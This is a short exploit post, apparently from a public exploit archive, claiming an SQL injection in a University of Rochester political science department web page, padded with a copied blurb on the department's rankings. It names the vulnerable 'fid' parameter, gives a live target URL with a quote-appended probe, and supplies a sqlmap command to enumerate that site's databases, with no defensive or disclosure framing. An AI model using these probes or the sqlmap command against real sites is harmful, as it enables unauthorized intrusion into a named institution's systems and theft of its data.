# Exploit Title:Department of Political Science of University of Rochester SQLI # Date: 10 Sep 2019 # Author: H.BBF3.4 & A.BBF3.4 +++++++++++++++++++++++++ ABOUT Department of Political Science of University of Rochester : In its most recent rankings, U.S. News and World Report confirm Rochester's continuing stature as one of the nation's preeminent political science departments. Rochester’s Department of Political Science was ranked #4 (behind just Harvard, Stanford, and Princeton) in Political Methodology, #14 in International Relations, and #17 overall in Political Science. These rankings are based on surveys of leading political scientists who evaluate departments according to the quality of their research and teaching. The Rochester Department of Political Science remains the smallest department in the nation regularly ranked in the top tier, with a faculty less than half the size of the average faculty in the other top-ranked departments. # SQL Injection Exploit : ********************** view.php?fid= # Example Vulnerable Sites : ************************* [+] https://www.sas.rochester.edu/psc/people/view.php?fid=50 => https://www.sas.rochester.edu/psc/people/view.php?fid=50%27 SQLMAP: sqlmap.py -u https://www.sas.rochester.edu/psc/people/view.php?fid=50 --dbs t.me/thebughunter